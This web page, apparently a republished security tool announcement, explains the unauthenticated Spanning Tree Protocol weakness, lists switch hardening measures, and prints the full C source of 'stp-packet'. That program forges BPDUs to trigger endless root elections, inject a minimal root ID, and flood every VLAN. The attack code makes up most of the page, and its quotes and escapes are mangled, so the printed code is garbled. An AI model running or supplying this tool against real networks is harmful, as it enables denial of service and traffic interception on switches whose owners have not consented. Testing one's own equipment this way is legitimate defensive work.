‘Stp-Packet – Testing the Security of Spanning Tree Protocol’

Summary

Credit:

‘The information has been provided by David Bizeul.
To keep updated with the tool visit the project’s homepage at: http://stp-packet.chez.tiscali.fr/


Details

What is the Spanning Tree Protocol?
Spanning tree protocol is used to prevent loops in a network so that when there are several path to reach a switch, some are disabled to provide a kind of tree directed by a root bridge, which is himself elected from a democratic vote.
For more information visit: Understanding Spanning-Tree Protocol

The Problem:
STP uses no authentication to protect again spoofing, so you can begin to speak with ‘stp enabled’ switches. Because of that weakness, it’s possible with stp to proceed as man-in-the-middle between two switches (it requires two interfaces and to be plugged on two switches though…), but it is also possible to create a denial of service by creating election waves depending on manufacturer.
The original problem was described in Phrack 61 in a paper by Oleg K. Artemjev and Vladislav V. Myasnyankin.

What is stp-packet?
stp-packet is a small tool designed to test your spanning tree equipments.
stp-packet can use several known stp attacks :
 * eternal rootid elections
 * smallid rootid permanent resend
 * flood all VLAN with bpdus so that attack can be propagated everywhere (is you have a 802.1q switch port enabled)

Security Measures for Spanning Tree:
The following principles are true with Cisco equipment, you’re free to see if your switch manufacturer has a similar feature.
CISCO specific:
 * Port security : This feature allows you to specify mac address for each port, so that a user port cannot send rootid bpdu
 * PVSTP : Make separate STP tree for each VLAN, so that if there is a problem on a user VLAN, it will not be diffused to admin VLAN
 * BPDU Guard : disable port upon bpdu reception

All manufacturers:
 * Disable 802.1q signaling for user ports
 * Disable auto-trunking
 * Keep your hardware at a reasonable OS level
 * Put unused ports in an unused VLAN
 * If STP is undesired, disable STP learning on user ports, or avoid using it completely.

Download:
Download stp-packet here

Source Code:
/*
 * Version 0.11
 * Created by David Bizeul (david(dot)bizeul(at)netcourrier(dot)com)
 * Implements attack features described in phrack 61 by initial stp tool authors
 *
 *
 * WARNING! This tool may break your network, be careful using it
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Library General Public License
 * as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR “AS IS” AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
 * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
 * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 */

 /* ***************TO DO LIST****************
 * – Clean up the code : really ugly, needs to be reviewed
 * – Test it in a wide stp network with 1q switches, give me feedback please
 ***********************************************/
 
 /* Compilation : gcc -o stp-packet stp-packet.c */

 /* My prefered syntax :
      stp-packet -attack eternal -802.1q flood > /dev/null 2>&1
 */

#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define DEFAULT_DEVICE ‘eth0′
#define ETH_HW_ADDR_LEN 6
#define DEFAULT_DMAC ’01:80:C2:00:00:00’ /* default multicast mac for stp*/
#define DEFAULT_PROTO_ID ‘0000’
#define DEFAULT_PROTO_V_ID ’00’
#define DEFAULT_BPDU_TYPE ’00’
#define DEFAULT_FLAGS ’00’
#define DEFAULT_ROOT_ID ‘800000000c00018e’ /*mac address:00000C(cisco)00018E*/
#define DEFAULT_ROOT_PC ‘00000000’
#define DEFAULT_BR_ID ‘800000000c00018e’
#define DEFAULT_PORT_ID ‘8002’
#define DEFAULT_MESSAGE_AGE ‘0000’
#define DEFAULT_MAX_AGE ‘1400’
#define DEFAULT_HELLO_TIME ‘0200’
#define DEFAULT_FORWARD_DELAY ‘1E00’
#define DEFAULT_VLAN_ID ‘0001’ /* from 0 to 4095*/

char start_text[]={
‘nnn
*************************************n
stp-packet relased by David Bizeuln
*************************************
nnn’
};
char usage[]={
‘usage: stp-packet
[-help]
[-dev <device>]
[-dmac <dmac>]
[-smac <smac>|[random]]
[-protoid <proto_id>]
[-protovid <proto_v_id>]
[-bpdu <bpdutype>]
[-flags <flags>]
[-rootid <rootid>]
[-rootpc <rootpc>]
[-brid <brid>]
[-portid <portid>]
[-mage <mage>]
[-maxage <maxage>]
[-htime <hellotime>]
[-fdelay <fdelay>]
[-attack [eternal|smallid]]
[-802.1q [vlanid|random|flood]]
n’};
char usage_help[]={
‘where:n
device – ethernet device name (default – eth0)n
dmac – destination MAC (default – 01:80:C2:00:00:00)n
smac – source MAC or random (default – MAC on given or default device)n
proto_id – Protocol Identifier (hex, 2 bytes)n
proto_v_id – Protocol Version Identifier (hex, 1 byte)n
bpdutype – BPDU type (hex, 1 byte)n
flags – flags value (hex, 1 byte)n
rootid – Root Identifier (hex, 8 bytes)n
rootpc – Root Path Cost (hex, 4 bytes)n
brid – Bridge Identifier (hex, 8 bytes)n
portid – Port Identifier (hex, 2 bytes)n
mage – Message Age (hex, 2 bytes)n
maxage – Max Age (hex, 2 bytes)n
hellotime – Hello Time (hex, 2 bytes)n
fdelay – Forward Delay (hex, 2 bytes)n
attack – Attack type : eternal elections or small root_id injectionn
802.1q – Wrap packet in 802.1q frame to be sent on a specified VLAN. Default is VLAN 1. Random vlanid can also be used or a flood mode, used in conjunction with attack flag
n’};

struct tag_bpdu_packet{
        u_char dmac[6]; /* dest. ether address */
        u_char smac[6]; /* src. ether address */
        u_char tpid[2]; /* tag proto id = 0x8100*/
        u_char pri_cfi_vlan[2]; /* frame priority 0 to 7, canonical format address should be 0 for ethernet, vlan id from 0 to 4095 */
        u_char frame_type[2]; /* 0x00 0x26 */
        u_char llc_dsap; /* 0x42 */
        u_char llc_ssap; /* 0x42 */
        u_char command; /* 03 why? I don`t know 🙁 */
        u_char protoid[2]; /* Protocol Identifier */
        u_char protovid[1]; /* Protocol Version Identifier */
        u_char bpdu[1]; /* BPDU Type */
        u_char flags[1]; /* Flags */
        u_char rootid[8]; /* Root Identifier */
        u_char rootpc[4]; /* Root Path Cost */
        u_char brid[8]; /* Bridge Identifier */
        u_char portid[2]; /* Port Identifier */
        u_char mage[2]; /* Message Age */
        u_char maxage[2]; /* Max Age */
        u_char hellotime[2]; /* Hello Time */
        u_char fdelay[2]; /* Forward Delay */
        u_char padding[4]; /* padding packet to 60 bytes */
};

struct bpdu_packet {
        u_char dmac[6]; /* dest. ether address */
        u_char smac[6]; /* src. ether address */
        u_char frame_type[2]; /* 0x00 0x26 */
        u_char llc_dsap; /* 0x42 */
        u_char llc_ssap; /* 0x42 */
        u_char command; /* 03 command */
        u_char protoid[2]; /* Protocol Identifier */
        u_char protovid[1]; /* Protocol Version Identifier */
        u_char bpdu[1]; /* BPDU Type */
        u_char flags[1]; /* Flags */
        u_char rootid[8]; /* Root Identifier */
        u_char rootpc[4]; /* Root Path Cost */
        u_char brid[8]; /* Bridge Identifier */
        u_char portid[2]; /* Port Identifier */
        u_char mage[2]; /* Message Age */
        u_char maxage[2]; /* Max Age */
        u_char hellotime[2]; /* Hello Time */
        u_char fdelay[2]; /* Forward Delay */
        u_char padding[8]; /* padding packet to 60 bytes */
};

void exit_verbose(char *); /* print error message and exit */
void change_field(char *,char *,int); /* convert string to hex */
void send_bpdu(); /* send packet through interface*/
void prepare_bpdu(); /* prepare packet*/
void fast_send_tagged_bpdu(); /* for flooding */
void random_mac(); /* should i explain ? */
int promisc_mode(char *);

int sock,mac_random=0,j=0,tagging=0,tag_random=0,flood_tag=0,vlanid_temp=0;
int i,k,capture,loop=1,flood_wait;
struct bpdu_packet stp_packet;
struct tag_bpdu_packet tag_stp_packet;
struct bpdu_packet stp_listen_packet;
struct sockaddr saddr;
struct ifreq ifr;
char dev[10], dmac[18], protoid[5], protovid[3], bpdu[3], flags[3], rootid[17], rootid_orig[17], rootpc[9], brid[17], portid[5], mage[5], maxage[5], maxage_temp[3], htime[5], fdelay[5], attack[10]=”, smac_temp[1]=”, smac[18]=”, vlanid[5]=’0000′;

                           /**** MAIN PART *****/
int main(int argc,char** argv){

char temp[1];

//Get parameters
strncpy(dev,DEFAULT_DEVICE,9);
strncpy(dmac,DEFAULT_DMAC,18);
strncpy(protoid,DEFAULT_PROTO_ID,5);
strncpy(protovid,DEFAULT_PROTO_V_ID,3);
strncpy(bpdu,DEFAULT_BPDU_TYPE,3);
strncpy(flags,DEFAULT_FLAGS,3);
strncpy(rootid,DEFAULT_ROOT_ID,17);
strncpy(rootpc,DEFAULT_ROOT_PC,9);
strncpy(brid,DEFAULT_BR_ID,17);
strncpy(portid,DEFAULT_PORT_ID,5);
strncpy(mage,DEFAULT_MESSAGE_AGE,5);
strncpy(maxage,DEFAULT_MAX_AGE,5);
strncpy(htime,DEFAULT_HELLO_TIME,5);
strncpy(fdelay,DEFAULT_FORWARD_DELAY,5);
strncpy(vlanid,DEFAULT_VLAN_ID,3);

printf(‘%s’,start_text);

for(i=1; i<argc; i++){
   if (!strncasecmp(argv[i],’-help’,5)) {
      printf(‘%s’,usage);
      exit_verbose(usage_help);
      }
   if (!strncasecmp(argv[i],’-dev’,4)){
      strncpy(dev,argv[++i],9);
      };
   if (!strncasecmp(argv[i],’-dmac’,5)){
      strncpy(dmac,argv[++i],18);
      };
   if (!strncasecmp(argv[i],’-smac’,5)){
      if (!strncasecmp(argv[i+1],’random’,6)){
         mac_random=1;
         random_mac();
      }
      else strncpy(smac,argv[++i],18);
      };
   if (!strncasecmp(argv[i],’-protoid’,8)){
      strncpy(protoid,argv[++i],5);
      };
   if (!strncasecmp(argv[i],’-protovid’,9)){
      strncpy(protovid,argv[++i],3);
      };
   if (!strncasecmp(argv[i],’-bpdu’,5)){
      strncpy(bpdu,argv[++i],3);
      };
   if (!strncasecmp(argv[i],’-flags’,6)){
      strncpy(flags,argv[++i],3);
      };
   if (!strncasecmp(argv[i],’-rootid’,7)){
      strncpy(rootid,argv[++i],17);
      };
   if (!strncasecmp(argv[i],’-rootpc’,7)){
      strncpy(rootpc,argv[++i],9);
      };
   if (!strncasecmp(argv[i],’-brid’,5)){
      strncpy(brid,argv[++i],17);
      };
   if (!strncasecmp(argv[i],’-portid’,7)){
      strncpy(portid,argv[++i],5);
      };
   if (!strncasecmp(argv[i],’-mage’,5)){
      strncpy(mage,argv[++i],5);
      };
   if (!strncasecmp(argv[i],’-maxage’,7)){
      strncpy(maxage,argv[++i],5);
      };
   if (!strncasecmp(argv[i],’-htime’,6)){
      strncpy(htime,argv[++i],5);
      };
   if (!strncasecmp(argv[i],’-fdelay’,7)){
      strncpy(fdelay,argv[++i],5);
      };
   if (!strncasecmp(argv[i],’-attack’,7)){
      strncpy(attack,argv[++i],9);
      };
   if (!strncasecmp(argv[i],’-802.1q’,7)){
      tagging=1;
      if (!strncasecmp(argv[i+1],’random’,6)){
         tag_random=1;
         srand(time(NULL));
      }
      else if (!strncasecmp(argv[i+1],’flood’,5)) flood_tag=1;
      else strncpy(vlanid,argv[++i],5);
   };
};

// Open raw socket
if ((sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0){
        perror(‘Cannot get raw socket: ‘);
        exit(1);
}

// Get our hardware address, if not given
if (!strncmp(smac,”,1)){
    strcpy(ifr.ifr_name, dev);
        printf(‘Using device %s and its addressn’,dev);
    if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0){
         perror(‘Cannot get hardware address: ‘);
         close(sock);
         exit(1);
        };
    memcpy(stp_packet.smac,ifr.ifr_hwaddr.sa_data,6);
}
else change_field(stp_packet.smac,smac,6);

//Modify packet with params
prepare_bpdu();

// Set device to use
strcpy(saddr.sa_data,dev);

// Create stp attacks
if (!strncasecmp(attack,’eternal’,7)){
   capture=promisc_mode(dev);
   loop=1;
   //capture stp values from network frames
   while(loop){
      read(capture, &stp_listen_packet, sizeof(struct bpdu_packet));
      if ((stp_listen_packet.llc_dsap==66) && (stp_listen_packet.llc_ssap==66)) {
         loop=0;
         bzero(rootid,17);
         bzero(brid,17);
         bzero(htime,5);
         for (k=0;k<8;k++){
            sprintf(temp,’%x’,stp_listen_packet.rootid[k]);
            if (strlen(temp)==1)strcat(rootid,’0′);
            strcat(rootid,temp);
         };
         sprintf(temp,’%x’,stp_listen_packet.hellotime[0]);
         strcat(htime,’0′);
         strcat(htime,temp);
         strcat(htime,’00’);
         change_field(stp_packet.hellotime,htime,2);
      }
   }
   strncpy(rootid_orig,rootid,17);
   // Let’s have fun now
   while(1){
      change_field(stp_packet.rootid,rootid,8);
      change_field(stp_packet.brid,rootid,8);
      char *smac= &rootid[4];
      change_field(stp_packet.smac,smac,6);
      if ((flood_tag) && (vlanid_temp<=4095)){
         tagging=1;
         sprintf(vlanid,’%i’,vlanid_temp);
         fast_send_tagged_bpdu();
      }
      else {
         vlanid_temp=-1;
         tagging=0;
         sleep(atoi(htime)>>6);
         send_bpdu();
      }
      vlanid_temp++;

      // decrement rootid
      if (vlanid_temp==0 || flood_tag!=1){
         for (k=15;k>=0;k–){
            if (rootid[k]==’0′) {
               if (k==0)strncpy(rootid,rootid_orig,17);
               else rootid[k]=’f’;
            }
            else if (rootid[k]==’a’){rootid[k]=’9′;break;}
            else {rootid[k]=rootid[k]-1; break;}
         }
      }
   }
}

else if (!strncasecmp(attack,’smallid’,7)){
  bzero(rootid,17);
  strncpy(rootid,’0001000001′,10); /* this may be small enough 🙂 */
  for (i=1;i<=3;i++){
    srand(time(NULL));
    sprintf(temp,’%x’,rand() % 256);
    if (strlen(temp)==1) strcat(rootid,’0′);
    strcat(rootid,temp);
    sleep(1);
  }
  strncpy(brid,rootid,17);
  change_field(stp_packet.rootid,rootid,8);
  change_field(stp_packet.brid,brid,8);
  char *smac=&rootid[4];
  change_field(stp_packet.smac,smac,6);
  strncpy(maxage,’0600′,4); /* the smallest value in RFC 🙂 */
  change_field(stp_packet.maxage,maxage,2);
  memcpy(tag_stp_packet.maxage,stp_packet.maxage,2);
  strncpy(maxage_temp,maxage,2);
  while(1){
      if ((flood_tag) && (vlanid_temp<=4095)){
         tagging=1;
         sprintf(vlanid,’%i’,vlanid_temp);
         fast_send_tagged_bpdu();
      }
      else {
         vlanid_temp=-1;
         tagging=0;
         send_bpdu();
         sleep(atoi(maxage_temp));
         usleep(500); /* we expect a new topology is being prepared during this time*/
      }
      vlanid_temp++;
  }
}

else{
  send_bpdu();
}

close(sock);
exit(0);
}
             /*************** END MAIN PART ********************/
void fast_send_tagged_bpdu(){
   tag_stp_packet.pri_cfi_vlan[1]= atoi(vlanid)%256;
   tag_stp_packet.pri_cfi_vlan[0]= (atoi(vlanid)/16>>4)|0xE0;
   memcpy(tag_stp_packet.smac,stp_packet.smac,6);
   memcpy(tag_stp_packet.rootid,stp_packet.rootid,8);
   memcpy(tag_stp_packet.brid,stp_packet.brid,8);
   if(sendto(sock,&tag_stp_packet,sizeof(tag_stp_packet),0,&saddr,sizeof(saddr)) < 0) perror(‘Send tagged packet’);
}

//Prepare 802.1q and normal bpdus
void prepare_bpdu(){
   change_field(stp_packet.dmac,dmac,6);
   change_field(stp_packet.protoid,protoid,2);
   change_field(stp_packet.protovid,protovid,1);
   change_field(stp_packet.bpdu,bpdu,1);
   change_field(stp_packet.flags,flags,1);
   change_field(stp_packet.rootid,rootid,8);
   change_field(stp_packet.rootpc,rootpc,4);
   change_field(stp_packet.brid,brid,8);
   change_field(stp_packet.portid,portid,2);
   change_field(stp_packet.mage,mage,2);
   change_field(stp_packet.maxage,maxage,2);
   change_field(stp_packet.hellotime,htime,2);
   change_field(stp_packet.fdelay,fdelay,2);

// Set constant values
   stp_packet.frame_type[0]=0x00;
   stp_packet.frame_type[1]=0x26;
   stp_packet.llc_dsap=0x42;
   stp_packet.llc_ssap=0x42;
   stp_packet.command=0x03;
   bzero(stp_packet.padding,8);

   memcpy(tag_stp_packet.smac,stp_packet.smac,6);
   memcpy(tag_stp_packet.dmac,stp_packet.dmac,6);
   memcpy(tag_stp_packet.protoid,stp_packet.protoid,2);
   memcpy(tag_stp_packet.protovid,stp_packet.protovid,1);
   memcpy(tag_stp_packet.bpdu,stp_packet.bpdu,1);
   memcpy(tag_stp_packet.flags,stp_packet.flags,1);
   memcpy(tag_stp_packet.rootid,stp_packet.rootid,8);
   memcpy(tag_stp_packet.rootpc,stp_packet.rootpc,4);
   memcpy(tag_stp_packet.brid,stp_packet.brid,8);
   memcpy(tag_stp_packet.portid,stp_packet.portid,2);
   memcpy(tag_stp_packet.mage,stp_packet.mage,2);
   memcpy(tag_stp_packet.maxage,stp_packet.maxage,2);
   memcpy(tag_stp_packet.hellotime,stp_packet.hellotime,2);
   tag_stp_packet.tpid[0]=0x81;
   tag_stp_packet.tpid[1]=0x00;
   if (tag_random==1){
      tag_stp_packet.pri_cfi_vlan[1]= rand() % 256;
      tag_stp_packet.pri_cfi_vlan[0]= (rand() % 16)|0xE0 ;
   }
   else {
      tag_stp_packet.pri_cfi_vlan[1]= atoi(vlanid)%256;
      tag_stp_packet.pri_cfi_vlan[0]= (atoi(vlanid)/16>>4)|0xE0;
   }
   tag_stp_packet.frame_type[0]=0x00;
   tag_stp_packet.frame_type[1]=0x26;
   tag_stp_packet.llc_dsap=0x42;
   tag_stp_packet.llc_ssap=0x42;
   tag_stp_packet.command=0x03;
   bzero(tag_stp_packet.padding,4);
}

// Send bpdu for 802.1 q and normal frames
void send_bpdu(){
  if (tagging==1){
    printf(‘%sn’,’Sending tagged bpdu’);
    if(sendto(sock,&tag_stp_packet,sizeof(tag_stp_packet),0,&saddr,sizeof(saddr)) < 0) perror(‘Send tagged packet’);
  }
  else {
    printf(‘%sn’,’Sending bpdu’);
    if(sendto(sock,&stp_packet,sizeof(stp_packet),0,&saddr,sizeof(saddr)) < 0)perror(‘Send packet’);
  }
}

// Generate a random eth address
void random_mac(){
         for (j=0;j<12;j++){
                srand(time(NULL)+j);
                sprintf(smac_temp,’%x’,rand() % 16);
                strcat(smac,smac_temp);
         }
}

// Exit whith an explicit message
void exit_verbose(char *str){
        fprintf(stderr,’%sn’,str);
        exit(1);
}

// Go to promisc mode for listening
int promisc_mode(char *device){
        int listen;
        struct ifreq ifr_listen;
        int s;
        
        listen=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ALL));
        if (listen<0){
                perror(‘can’t get SOCK_PACKET socket’);
                exit(0);
        };
        strcpy(ifr_listen.ifr_name,device);
        s=ioctl(listen,SIOCGIFFLAGS,&ifr_listen);
        if (s<0){
                close(listen);
                perror(‘can’t get flags’);
                exit(0);
        };
        ifr_listen.ifr_flags|=IFF_PROMISC;
        s=ioctl(listen, SIOCSIFFLAGS,&ifr_listen);
        if (s<0) perror(‘can’t set promisc mode’);
        return listen;
}

// Convert string to a buffer
void change_field(char *buf,char *str,int len){
        int z;
        char c,val;
        for(z=0;z<len;z++){
                if( !(c = tolower(*str++))) exit_verbose(‘Invalid hex value conversion MSB’);
                if(isdigit(c)) val = c-‘0’;
                else if(c >= ‘a’ && c <= ‘f’) val = c-‘a’+10;
                else exit_verbose(‘Invalid hex value out of reach MSB’);
                *buf = val << 4;
                if( !(c = tolower(*str++))) exit_verbose(‘Invalid hex value conversion LSB’);
                if(isdigit(c)) val = c-‘0’;
                else if(c >= ‘a’ && c <= ‘f’) val = c-‘a’+10;
                else exit_verbose(‘Invalid hex value out of reach LSB’);
                *buf++ |= val;
                if(*str == ‘:’)str++;
        }
}’

Categories: Tools